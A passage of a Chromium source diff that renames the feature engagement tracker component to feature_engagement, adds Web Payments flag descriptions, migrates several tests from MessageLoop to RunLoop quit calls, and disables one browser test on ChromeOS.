 #include "components/pref_registry/pref_registry_syncable.h"
 #include "components/prefs/pref_service.h"
 
@@ -21,7 +21,7 @@
 
 }  // namespace
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 NewTabTracker::NewTabTracker(Profile* profile)
     : duration_tracker_(metrics::DesktopSessionDurationTracker::Get()),
@@ -75,8 +75,8 @@
   return GetFeatureTracker()->ShouldTriggerHelpUI(kIPHNewTabFeature);
 }
 
-FeatureEngagementTracker* NewTabTracker::GetFeatureTracker() {
-  return FeatureEngagementTrackerFactory::GetForBrowserContext(profile_);
+Tracker* NewTabTracker::GetFeatureTracker() {
+  return TrackerFactory::GetForBrowserContext(profile_);
 }
 
 PrefService* NewTabTracker::GetPrefs() {
@@ -110,4 +110,4 @@
   }
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/chrome/browser/feature_engagement_tracker/new_tab/new_tab_tracker.h b/chrome/browser/feature_engagement/new_tab/new_tab_tracker.h
similarity index 83%
rename from chrome/browser/feature_engagement_tracker/new_tab/new_tab_tracker.h
rename to chrome/browser/feature_engagement/new_tab/new_tab_tracker.h
index a9f8673..5ae39e89 100644
--- a/chrome/browser/feature_engagement_tracker/new_tab/new_tab_tracker.h
+++ b/chrome/browser/feature_engagement/new_tab/new_tab_tracker.h
@@ -2,19 +2,19 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef CHROME_BROWSER_FEATURE_ENGAGEMENT_TRACKER_NEW_TAB_NEW_TAB_TRACKER_H_
-#define CHROME_BROWSER_FEATURE_ENGAGEMENT_TRACKER_NEW_TAB_NEW_TAB_TRACKER_H_
+#ifndef CHROME_BROWSER_FEATURE_ENGAGEMENT_NEW_TAB_NEW_TAB_TRACKER_H_
+#define CHROME_BROWSER_FEATURE_ENGAGEMENT_NEW_TAB_NEW_TAB_TRACKER_H_
 
 #include "chrome/browser/metrics/desktop_session_duration/desktop_session_duration_tracker.h"
 #include "chrome/browser/profiles/profile.h"
-#include "components/feature_engagement_tracker/public/feature_engagement_tracker.h"
+#include "components/feature_engagement/public/tracker.h"
 #include "components/keyed_service/core/keyed_service.h"
 
 namespace user_prefs {
 class PrefRegistrySyncable;
 }  // namespace user_prefs
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 // The NewTabTracker provides a backend for displaying
 // in-product help for the new tab button.
@@ -54,7 +54,7 @@
   void ShowPromo();
 
   // Virtual to support mocking by unit tests.
-  virtual FeatureEngagementTracker* GetFeatureTracker();
+  virtual Tracker* GetFeatureTracker();
 
   virtual PrefService* GetPrefs();
 
@@ -73,6 +73,6 @@
   DISALLOW_COPY_AND_ASSIGN(NewTabTracker);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // CHROME_BROWSER_FEATURE_ENGAGEMENT_TRACKER_NEW_TAB_NEW_TAB_TRACKER_H_
+#endif  // CHROME_BROWSER_FEATURE_ENGAGEMENT_NEW_TAB_NEW_TAB_TRACKER_H_
diff --git a/chrome/browser/feature_engagement_tracker/new_tab/new_tab_tracker_factory.cc b/chrome/browser/feature_engagement/new_tab/new_tab_tracker_factory.cc
similarity index 76%
rename from chrome/browser/feature_engagement_tracker/new_tab/new_tab_tracker_factory.cc
rename to chrome/browser/feature_engagement/new_tab/new_tab_tracker_factory.cc
index 918500d6..91f85ea 100644
--- a/chrome/browser/feature_engagement_tracker/new_tab/new_tab_tracker_factory.cc
+++ b/chrome/browser/feature_engagement/new_tab/new_tab_tracker_factory.cc
@@ -2,17 +2,17 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "chrome/browser/feature_engagement_tracker/new_tab/new_tab_tracker_factory.h"
+#include "chrome/browser/feature_engagement/new_tab/new_tab_tracker_factory.h"
 
 #include "base/memory/singleton.h"
-#include "chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h"
-#include "chrome/browser/feature_engagement_tracker/new_tab/new_tab_tracker.h"
+#include "chrome/browser/feature_engagement/new_tab/new_tab_tracker.h"
+#include "chrome/browser/feature_engagement/tracker_factory.h"
 #include "chrome/browser/profiles/incognito_helpers.h"
 #include "chrome/browser/profiles/profile.h"
 #include "components/keyed_service/content/browser_context_dependency_manager.h"
 #include "content/public/browser/browser_context.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 // static
 NewTabTrackerFactory* NewTabTrackerFactory::GetInstance() {
@@ -28,7 +28,7 @@
     : BrowserContextKeyedServiceFactory(
           "NewTabTracker",
           BrowserContextDependencyManager::GetInstance()) {
-  DependsOn(FeatureEngagementTrackerFactory::GetInstance());
+  DependsOn(TrackerFactory::GetInstance());
 }
 
 NewTabTrackerFactory::~NewTabTrackerFactory() = default;
@@ -43,4 +43,4 @@
   return chrome::GetBrowserContextRedirectedInIncognito(context);
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/chrome/browser/feature_engagement_tracker/new_tab/new_tab_tracker_factory.h b/chrome/browser/feature_engagement/new_tab/new_tab_tracker_factory.h
similarity index 75%
rename from chrome/browser/feature_engagement_tracker/new_tab/new_tab_tracker_factory.h
rename to chrome/browser/feature_engagement/new_tab/new_tab_tracker_factory.h
index 55d8780..a32e16bb 100644
--- a/chrome/browser/feature_engagement_tracker/new_tab/new_tab_tracker_factory.h
+++ b/chrome/browser/feature_engagement/new_tab/new_tab_tracker_factory.h
@@ -2,8 +2,8 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef CHROME_BROWSER_FEATURE_ENGAGEMENT_TRACKER_NEW_TAB_NEW_TAB_TRACKER_FACTORY_H_
-#define CHROME_BROWSER_FEATURE_ENGAGEMENT_TRACKER_NEW_TAB_NEW_TAB_TRACKER_FACTORY_H_
+#ifndef CHROME_BROWSER_FEATURE_ENGAGEMENT_NEW_TAB_NEW_TAB_TRACKER_FACTORY_H_
+#define CHROME_BROWSER_FEATURE_ENGAGEMENT_NEW_TAB_NEW_TAB_TRACKER_FACTORY_H_
 
 #include "base/macros.h"
 #include "components/keyed_service/content/browser_context_keyed_service_factory.h"
@@ -19,7 +19,7 @@
 class BrowserContext;
 }  // namespace content
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 class NewTabTracker;
 
 // NewTabTrackerFactory is the main client class for
@@ -29,7 +29,7 @@
   // Returns singleton instance of NewTabTrackerFactory.
   static NewTabTrackerFactory* GetInstance();
 
-  // Returns the FeatureEngagementTracker associated with the profile.
+  // Returns the NewTabTracker associated with the profile.
   NewTabTracker* GetForProfile(Profile* profile);
 
  private:
@@ -47,6 +47,6 @@
   DISALLOW_COPY_AND_ASSIGN(NewTabTrackerFactory);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // CHROME_BROWSER_FEATURE_ENGAGEMENT_TRACKER_NEW_TAB_NEW_TAB_TRACKER_FACTORY_H_
+#endif  // CHROME_BROWSER_FEATURE_ENGAGEMENT_NEW_TAB_NEW_TAB_TRACKER_FACTORY_H_
diff --git a/chrome/browser/feature_engagement_tracker/new_tab/new_tab_tracker_unittest.cc b/chrome/browser/feature_engagement/new_tab/new_tab_tracker_unittest.cc
similarity index 87%
rename from chrome/browser/feature_engagement_tracker/new_tab/new_tab_tracker_unittest.cc
rename to chrome/browser/feature_engagement/new_tab/new_tab_tracker_unittest.cc
index 58522216..dae68512 100644
--- a/chrome/browser/feature_engagement_tracker/new_tab/new_tab_tracker_unittest.cc
+++ b/chrome/browser/feature_engagement/new_tab/new_tab_tracker_unittest.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "chrome/browser/feature_engagement_tracker/new_tab/new_tab_tracker.h"
+#include "chrome/browser/feature_engagement/new_tab/new_tab_tracker.h"
 
 #include "base/feature_list.h"
 #include "base/metrics/field_trial.h"
@@ -13,24 +13,24 @@
 #include "base/test/scoped_feature_list.h"
 #include "chrome/browser/metrics/desktop_session_duration/desktop_session_duration_tracker.h"
 #include "chrome/common/pref_names.h"
-#include "components/feature_engagement_tracker/public/event_constants.h"
-#include "components/feature_engagement_tracker/public/feature_constants.h"
-#include "components/feature_engagement_tracker/public/feature_engagement_tracker.h"
-#include "components/feature_engagement_tracker/test/test_feature_engagement_tracker.h"
+#include "components/feature_engagement/public/event_constants.h"
+#include "components/feature_engagement/public/feature_constants.h"
+#include "components/feature_engagement/public/tracker.h"
+#include "components/feature_engagement/test/test_tracker.h"
 #include "components/sync_preferences/testing_pref_service_syncable.h"
 #include "components/variations/variations_params_manager.h"
 #include "content/public/test/test_browser_thread_bundle.h"
 #include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace {
 
 const char kGroupName[] = "Enabled";
 const char kNewTabTrialName[] = "NewTabTrial";
 
-class MockFeatureEngagementTracker : public FeatureEngagementTracker {
+class MockFeatureEngagementTracker : public Tracker {
  public:
   MockFeatureEngagementTracker() = default;
   MOCK_METHOD1(NotifyEvent, void(const std::string& event));
@@ -42,22 +42,20 @@
 
 class FakeNewTabTracker : public NewTabTracker {
  public:
-  explicit FakeNewTabTracker(FeatureEngagementTracker* feature_tracker)
+  explicit FakeNewTabTracker(Tracker* feature_tracker)
       : feature_tracker_(feature_tracker),
         pref_service_(
             base::MakeUnique<sync_preferences::TestingPrefServiceSyncable>()) {
     NewTabTracker::RegisterProfilePrefs(pref_service_->registry());
   }
 
-  // feature_engagement_tracker::NewTabTracker::
-  FeatureEngagementTracker* GetFeatureTracker() override {
-    return feature_tracker_;
-  }
+  // feature_engagement::NewTabTracker::
+  Tracker* GetFeatureTracker() override { return feature_tracker_; }
 
   PrefService* GetPrefs() override { return pref_service_.get(); }
 
  private:
-  FeatureEngagementTracker* const feature_tracker_;
+  Tracker* const feature_tracker_;
   const std::unique_ptr<sync_preferences::TestingPrefServiceSyncable>
       pref_service_;
 };
@@ -95,23 +93,23 @@
 
 }  // namespace
 
-// Tests to verify FeatureEngagementTracker API boundary expectations:
+// Tests to verify feature_engagement::Tracker API boundary expectations:
 
-// If OnNewTabOpened() is called, the FeatureEngagementTracker
+// If OnNewTabOpened() is called, the feature_engagement::Tracker
 // receives the kNewTabOpenedEvent.
 TEST_F(NewTabTrackerEventTest, TestOnNewTabOpened) {
   EXPECT_CALL(*mock_feature_tracker_, NotifyEvent(events::kNewTabOpened));
   new_tab_tracker_->OnNewTabOpened();
 }
 
-// If OnOmniboxNavigation() is called, the FeatureEngagementTracker
+// If OnOmniboxNavigation() is called, the feature_engagement::Tracker
 // receives the kOmniboxInteraction event.
 TEST_F(NewTabTrackerEventTest, TestOnOmniboxNavigation) {
   EXPECT_CALL(*mock_feature_tracker_, NotifyEvent(events::kOmniboxInteraction));
   new_tab_tracker_->OnOmniboxNavigation();
 }
 
-// If OnSessionTimeMet() is called, the FeatureEngagementTracker
+// If OnSessionTimeMet() is called, the feature_engagement::Tracker
 // receives the kSessionTime event.
 TEST_F(NewTabTrackerEventTest, TestOnSessionTimeMet) {
   EXPECT_CALL(*mock_feature_tracker_, NotifyEvent(events::kSessionTime));
@@ -161,7 +159,7 @@
     // Start the DesktopSessionDurationTracker to track active session time.
     metrics::DesktopSessionDurationTracker::Initialize();
 
-    feature_engagement_tracker_ = CreateTestFeatureEngagementTracker();
+    feature_engagement_tracker_ = CreateTestTracker();
 
     new_tab_tracker_ =
         base::MakeUnique<FakeNewTabTracker>(feature_engagement_tracker_.get());
@@ -194,7 +192,7 @@
 
  protected:
   std::unique_ptr<FakeNewTabTracker> new_tab_tracker_;
-  std::unique_ptr<FeatureEngagementTracker> feature_engagement_tracker_;
+  std::unique_ptr<Tracker> feature_engagement_tracker_;
   variations::testing::VariationParamsManager params_manager_;
 
  private:
@@ -267,4 +265,4 @@
             new_tab_tracker_->GetPrefs()->GetInteger(prefs::kSessionTimeTotal));
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/chrome/browser/feature_engagement/tracker_factory.cc b/chrome/browser/feature_engagement/tracker_factory.cc
new file mode 100644
index 0000000..7f7b9ec9
--- /dev/null
+++ b/chrome/browser/feature_engagement/tracker_factory.cc
@@ -0,0 +1,60 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "chrome/browser/feature_engagement/tracker_factory.h"
+
+#include "base/files/file_path.h"
+#include "base/memory/ref_counted.h"
+#include "base/memory/singleton.h"
+#include "base/sequenced_task_runner.h"
+#include "base/task_scheduler/post_task.h"
+#include "chrome/browser/profiles/incognito_helpers.h"
+#include "chrome/browser/profiles/profile.h"
+#include "chrome/common/chrome_constants.h"
+#include "components/feature_engagement/public/tracker.h"
+#include "components/keyed_service/content/browser_context_dependency_manager.h"
+#include "content/public/browser/browser_context.h"
+
+namespace feature_engagement {
+
+// static
+TrackerFactory* TrackerFactory::GetInstance() {
+  return base::Singleton<TrackerFactory>::get();
+}
+
+// static
+feature_engagement::Tracker* TrackerFactory::GetForBrowserContext(
+    content::BrowserContext* context) {
+  return static_cast<feature_engagement::Tracker*>(
+      GetInstance()->GetServiceForBrowserContext(context, true));
+}
+
+TrackerFactory::TrackerFactory()
+    : BrowserContextKeyedServiceFactory(
+          "feature_engagement::Tracker",
+          BrowserContextDependencyManager::GetInstance()) {}
+
+TrackerFactory::~TrackerFactory() = default;
+
+KeyedService* TrackerFactory::BuildServiceInstanceFor(
+    content::BrowserContext* context) const {
+  Profile* profile = Profile::FromBrowserContext(context);
+
+  scoped_refptr<base::SequencedTaskRunner> background_task_runner =
+      base::CreateSequencedTaskRunnerWithTraits(
+          {base::MayBlock(), base::TaskPriority::BACKGROUND});
+
+  base::FilePath storage_dir = profile->GetPath().Append(
+      chrome::kFeatureEngagementTrackerStorageDirname);
+
+  return feature_engagement::Tracker::Create(storage_dir,
+                                             background_task_runner);
+}
+
+content::BrowserContext* TrackerFactory::GetBrowserContextToUse(
+    content::BrowserContext* context) const {
+  return chrome::GetBrowserContextRedirectedInIncognito(context);
+}
+
+}  // namespace feature_engagement
diff --git a/chrome/browser/feature_engagement/tracker_factory.h b/chrome/browser/feature_engagement/tracker_factory.h
new file mode 100644
index 0000000..0cb8f0c
--- /dev/null
+++ b/chrome/browser/feature_engagement/tracker_factory.h
@@ -0,0 +1,51 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef CHROME_BROWSER_FEATURE_ENGAGEMENT_TRACKER_FACTORY_H_
+#define CHROME_BROWSER_FEATURE_ENGAGEMENT_TRACKER_FACTORY_H_
+
+#include "base/macros.h"
+#include "components/keyed_service/content/browser_context_keyed_service_factory.h"
+
+namespace base {
+template <typename T>
+struct DefaultSingletonTraits;
+}  // namespace base
+
+namespace content {
+class BrowserContext;
+}  // namespace content
+
+namespace feature_engagement {
+class Tracker;
+
+// TrackerFactory is the main client class for interaction with
+// the feature_engagement component.
+class TrackerFactory : public BrowserContextKeyedServiceFactory {
+ public:
+  // Returns singleton instance of TrackerFactory.
+  static TrackerFactory* GetInstance();
+
+  // Returns the feature_engagement::Tracker associated with |context|.
+  static feature_engagement::Tracker* GetForBrowserContext(
+      content::BrowserContext* context);
+
+ private:
+  friend struct base::DefaultSingletonTraits<TrackerFactory>;
+
+  TrackerFactory();
+  ~TrackerFactory() override;
+
+  // BrowserContextKeyedServiceFactory overrides:
+  KeyedService* BuildServiceInstanceFor(
+      content::BrowserContext* context) const override;
+  content::BrowserContext* GetBrowserContextToUse(
+      content::BrowserContext* context) const override;
+
+  DISALLOW_COPY_AND_ASSIGN(TrackerFactory);
+};
+
+}  // namespace feature_engagement
+
+#endif  // CHROME_BROWSER_FEATURE_ENGAGEMENT_TRACKER_FACTORY_H_
diff --git a/chrome/browser/feature_engagement_tracker/DEPS b/chrome/browser/feature_engagement_tracker/DEPS
deleted file mode 100644
index 8b4e7d8..0000000
--- a/chrome/browser/feature_engagement_tracker/DEPS
+++ /dev/null
@@ -1,4 +0,0 @@
-include_rules = [
-  "+components/feature_engagement_tracker",
-  "+components/keyed_service",
-]
diff --git a/chrome/browser/feature_engagement_tracker/OWNERS b/chrome/browser/feature_engagement_tracker/OWNERS
deleted file mode 100644
index 6e8337d..0000000
--- a/chrome/browser/feature_engagement_tracker/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-file://components/feature_engagement_tracker/OWNERS
diff --git a/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.cc b/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.cc
deleted file mode 100644
index 66bb162..0000000
--- a/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.cc
+++ /dev/null
@@ -1,59 +0,0 @@
-// Copyright 2017 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h"
-
-#include "base/files/file_path.h"
-#include "base/memory/ref_counted.h"
-#include "base/memory/singleton.h"
-#include "base/sequenced_task_runner.h"
-#include "base/task_scheduler/post_task.h"
-#include "chrome/browser/profiles/incognito_helpers.h"
-#include "chrome/browser/profiles/profile.h"
-#include "chrome/common/chrome_constants.h"
-#include "components/feature_engagement_tracker/public/feature_engagement_tracker.h"
-#include "components/keyed_service/content/browser_context_dependency_manager.h"
-#include "content/public/browser/browser_context.h"
-
-// static
-FeatureEngagementTrackerFactory*
-FeatureEngagementTrackerFactory::GetInstance() {
-  return base::Singleton<FeatureEngagementTrackerFactory>::get();
-}
-
-// static
-feature_engagement_tracker::FeatureEngagementTracker*
-FeatureEngagementTrackerFactory::GetForBrowserContext(
-    content::BrowserContext* context) {
-  return static_cast<feature_engagement_tracker::FeatureEngagementTracker*>(
-      GetInstance()->GetServiceForBrowserContext(context, true));
-}
-
-FeatureEngagementTrackerFactory::FeatureEngagementTrackerFactory()
-    : BrowserContextKeyedServiceFactory(
-          "feature_engagement_tracker::FeatureEngagementTracker",
-          BrowserContextDependencyManager::GetInstance()) {}
-
-FeatureEngagementTrackerFactory::~FeatureEngagementTrackerFactory() = default;
-
-KeyedService* FeatureEngagementTrackerFactory::BuildServiceInstanceFor(
-    content::BrowserContext* context) const {
-  Profile* profile = Profile::FromBrowserContext(context);
-
-  scoped_refptr<base::SequencedTaskRunner> background_task_runner =
-      base::CreateSequencedTaskRunnerWithTraits(
-          {base::MayBlock(), base::TaskPriority::BACKGROUND});
-
-  base::FilePath storage_dir = profile->GetPath().Append(
-      chrome::kFeatureEngagementTrackerStorageDirname);
-
-  return feature_engagement_tracker::FeatureEngagementTracker::Create(
-      storage_dir, background_task_runner);
-}
-
-content::BrowserContext*
-FeatureEngagementTrackerFactory::GetBrowserContextToUse(
-    content::BrowserContext* context) const {
-  return chrome::GetBrowserContextRedirectedInIncognito(context);
-}
diff --git a/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h b/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h
deleted file mode 100644
index 78263694..0000000
--- a/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h
+++ /dev/null
@@ -1,51 +0,0 @@
-// Copyright 2017 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#ifndef CHROME_BROWSER_FEATURE_ENGAGEMENT_TRACKER_FEATURE_ENGAGEMENT_TRACKER_FACTORY_H_
-#define CHROME_BROWSER_FEATURE_ENGAGEMENT_TRACKER_FEATURE_ENGAGEMENT_TRACKER_FACTORY_H_
-
-#include "base/macros.h"
-#include "components/keyed_service/content/browser_context_keyed_service_factory.h"
-
-namespace base {
-template <typename T>
-struct DefaultSingletonTraits;
-}  // namespace base
-
-namespace content {
-class BrowserContext;
-}  // namespace content
-
-namespace feature_engagement_tracker {
-class FeatureEngagementTracker;
-}  // namespace feature_engagement_tracker
-
-// FeatureEngagementTrackerFactory is the main client class for interaction with
-// the feature_engagement_tracker component.
-class FeatureEngagementTrackerFactory
-    : public BrowserContextKeyedServiceFactory {
- public:
-  // Returns singleton instance of FeatureEngagementTrackerFactory.
-  static FeatureEngagementTrackerFactory* GetInstance();
-
-  // Returns the FeatureEngagementTracker associated with |context|.
-  static feature_engagement_tracker::FeatureEngagementTracker*
-  GetForBrowserContext(content::BrowserContext* context);
-
- private:
-  friend struct base::DefaultSingletonTraits<FeatureEngagementTrackerFactory>;
-
-  FeatureEngagementTrackerFactory();
-  ~FeatureEngagementTrackerFactory() override;
-
-  // BrowserContextKeyedServiceFactory overrides:
-  KeyedService* BuildServiceInstanceFor(
-      content::BrowserContext* context) const override;
-  content::BrowserContext* GetBrowserContextToUse(
-      content::BrowserContext* context) const override;
-
-  DISALLOW_COPY_AND_ASSIGN(FeatureEngagementTrackerFactory);
-};
-
-#endif  // CHROME_BROWSER_FEATURE_ENGAGEMENT_TRACKER_FEATURE_ENGAGEMENT_TRACKER_FACTORY_H_
diff --git a/chrome/browser/flag_descriptions.cc b/chrome/browser/flag_descriptions.cc
index a390dc8..bee486c 100644
--- a/chrome/browser/flag_descriptions.cc
+++ b/chrome/browser/flag_descriptions.cc
@@ -1630,6 +1630,12 @@
 const char kEnableWebNfcName[] = "WebNFC";
 const char kEnableWebNfcDescription[] = "Enable WebNFC support.";
 
+const char kEnableWebPaymentsMethodSectionOrderV2Name[] =
+    "Enable Web Payments method section order V2.";
+const char kEnableWebPaymentsMethodSectionOrderV2Description[] =
+    "Enable this option to display payment method section above address "
+    "section instead of below it.";
+
 const char kEnableWebPaymentsSingleAppUiSkipName[] =
     "Enable Web Payments single app UI skip";
 const char kEnableWebPaymentsSingleAppUiSkipDescription[] =
diff --git a/chrome/browser/flag_descriptions.h b/chrome/browser/flag_descriptions.h
index b453f651..685f7d2 100644
--- a/chrome/browser/flag_descriptions.h
+++ b/chrome/browser/flag_descriptions.h
@@ -998,6 +998,9 @@
 extern const char kEnableWebNfcName[];
 extern const char kEnableWebNfcDescription[];
 
+extern const char kEnableWebPaymentsMethodSectionOrderV2Name[];
+extern const char kEnableWebPaymentsMethodSectionOrderV2Description[];
+
 extern const char kEnableWebPaymentsSingleAppUiSkipName[];
 extern const char kEnableWebPaymentsSingleAppUiSkipDescription[];
 
diff --git a/chrome/browser/geolocation/geolocation_browsertest.cc b/chrome/browser/geolocation/geolocation_browsertest.cc
index d50cdbbd..4057ce5c 100644
--- a/chrome/browser/geolocation/geolocation_browsertest.cc
+++ b/chrome/browser/geolocation/geolocation_browsertest.cc
@@ -9,6 +9,7 @@
 #include "base/compiler_specific.h"
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/string_number_conversions.h"
 #include "base/strings/stringprintf.h"
 #include "base/strings/utf_string_conversions.h"
@@ -124,7 +125,7 @@
     javascript_completed_ = true;
   }
   if (javascript_completed_ && navigation_completed_)
-    base::MessageLoopForUI::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 // PermissionRequestObserver ---------------------------------------------------
diff --git a/chrome/browser/history/android/sqlite_cursor_unittest.cc b/chrome/browser/history/android/sqlite_cursor_unittest.cc
index 7c5589d..3688b0f 100644
--- a/chrome/browser/history/android/sqlite_cursor_unittest.cc
+++ b/chrome/browser/history/android/sqlite_cursor_unittest.cc
@@ -131,13 +131,13 @@
 
   void OnInserted(int64_t id) {
     success_ = id != 0;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void OnQueryResult(AndroidStatement* statement) {
     success_ = statement != NULL;
     statement_ = statement;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  private:
diff --git a/chrome/browser/history/history_test_utils.cc b/chrome/browser/history/history_test_utils.cc
index 1f13927..f123fc6a 100644
--- a/chrome/browser/history/history_test_utils.cc
+++ b/chrome/browser/history/history_test_utils.cc
@@ -7,6 +7,7 @@
 
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/task/cancelable_task_tracker.h"
 #include "chrome/browser/history/history_service_factory.h"
 #include "components/history/core/browser/history_db_task.h"
@@ -33,7 +34,7 @@
   }
 
   void DoneRunOnMainThread() override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  private:
diff --git a/chrome/browser/importer/edge_importer_browsertest_win.cc b/chrome/browser/importer/edge_importer_browsertest_win.cc
index 65b7d90..9673760 100644
--- a/chrome/browser/importer/edge_importer_browsertest_win.cc
+++ b/chrome/browser/importer/edge_importer_browsertest_win.cc
@@ -9,7 +9,6 @@
 #include "base/files/file_util.h"
 #include "base/files/scoped_temp_dir.h"
 #include "base/macros.h"
-#include "base/message_loop/message_loop.h"
 #include "base/path_service.h"
 #include "base/run_loop.h"
 #include "base/strings/string16.h"
@@ -57,7 +56,7 @@
   void ImportItemStarted(importer::ImportItem item) override {}
   void ImportItemEnded(importer::ImportItem item) override {}
   void ImportEnded() override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
     EXPECT_EQ(expected_bookmark_entries_.size(), bookmark_count_);
     EXPECT_EQ(expected_favicon_groups_.size(), favicon_count_);
   }
diff --git a/chrome/browser/importer/firefox_importer_browsertest.cc b/chrome/browser/importer/firefox_importer_browsertest.cc
index e8fd1602..f2f9dcc5 100644
--- a/chrome/browser/importer/firefox_importer_browsertest.cc
+++ b/chrome/browser/importer/firefox_importer_browsertest.cc
@@ -8,7 +8,6 @@
 #include "base/files/file_util.h"
 #include "base/files/scoped_temp_dir.h"
 #include "base/macros.h"
-#include "base/message_loop/message_loop.h"
 #include "base/path_service.h"
 #include "base/run_loop.h"
 #include "base/stl_util.h"
@@ -153,7 +152,7 @@
   void ImportItemStarted(importer::ImportItem item) override {}
   void ImportItemEnded(importer::ImportItem item) override {}
   void ImportEnded() override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
     EXPECT_EQ(arraysize(kFirefoxBookmarks), bookmark_count_);
     EXPECT_EQ(1U, history_count_);
     EXPECT_EQ(arraysize(kFirefoxPasswords), password_count_);
diff --git a/chrome/browser/importer/ie_importer_browsertest_win.cc b/chrome/browser/importer/ie_importer_browsertest_win.cc
index 83c2e69..a025f07b 100644
--- a/chrome/browser/importer/ie_importer_browsertest_win.cc
+++ b/chrome/browser/importer/ie_importer_browsertest_win.cc
@@ -23,7 +23,6 @@
 #include "base/files/scoped_temp_dir.h"
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/strings/string16.h"
 #include "base/strings/string_util.h"
@@ -245,7 +244,7 @@
   void ImportItemStarted(importer::ImportItem item) override {}
   void ImportItemEnded(importer::ImportItem item) override {}
   void ImportEnded() override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
     if (importer_items_ & importer::FAVORITES) {
       EXPECT_EQ(arraysize(kIEBookmarks), bookmark_count_);
       EXPECT_EQ(arraysize(kIEFaviconGroup), favicon_count_);
@@ -385,7 +384,7 @@
   void ImportItemStarted(importer::ImportItem item) override {}
   void ImportItemEnded(importer::ImportItem item) override {}
   void ImportEnded() override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
     EXPECT_EQ(arraysize(kIESortedBookmarks), bookmark_count_);
   }
 
diff --git a/chrome/browser/importer/profile_writer_unittest.cc b/chrome/browser/importer/profile_writer_unittest.cc
index 6ea126f..214d48b 100644
--- a/chrome/browser/importer/profile_writer_unittest.cc
+++ b/chrome/browser/importer/profile_writer_unittest.cc
@@ -9,7 +9,6 @@
 #include <string>
 
 #include "base/macros.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/strings/utf_string_conversions.h"
 #include "chrome/browser/bookmarks/bookmark_model_factory.h"
@@ -107,7 +106,7 @@
   }
 
   void HistoryQueryComplete(history::QueryResults* results) {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
     history_count_ = results->size();
   }
 
diff --git a/chrome/browser/lifetime/browser_close_manager_browsertest.cc b/chrome/browser/lifetime/browser_close_manager_browsertest.cc
index 40717139..3c8ce84 100644
--- a/chrome/browser/lifetime/browser_close_manager_browsertest.cc
+++ b/chrome/browser/lifetime/browser_close_manager_browsertest.cc
@@ -1215,9 +1215,15 @@
     EXPECT_EQ(0, DownloadCoreService::NonMaliciousDownloadCountAllProfiles());
 }
 
+// Fails on ChromeOS only. crbug.com/749098
+#if defined(OS_CHROMEOS)
+#define MAYBE_TestBeforeUnloadAndDownloads DISABLED_TestBeforeUnloadAndDownloads
+#else
+#define MAYBE_TestBeforeUnloadAndDownloads TestBeforeUnloadAndDownloads
+#endif
 // Test shutdown with downloads in progress and beforeunload handlers.
 IN_PROC_BROWSER_TEST_P(BrowserCloseManagerWithDownloadsBrowserTest,
-                       TestBeforeUnloadAndDownloads) {
+                       MAYBE_TestBeforeUnloadAndDownloads) {
   ASSERT_TRUE(embedded_test_server()->Start());
   SetDownloadPathForProfile(browser()->profile());
   ASSERT_NO_FATAL_FAILURE(CreateStalledDownload(browser()));
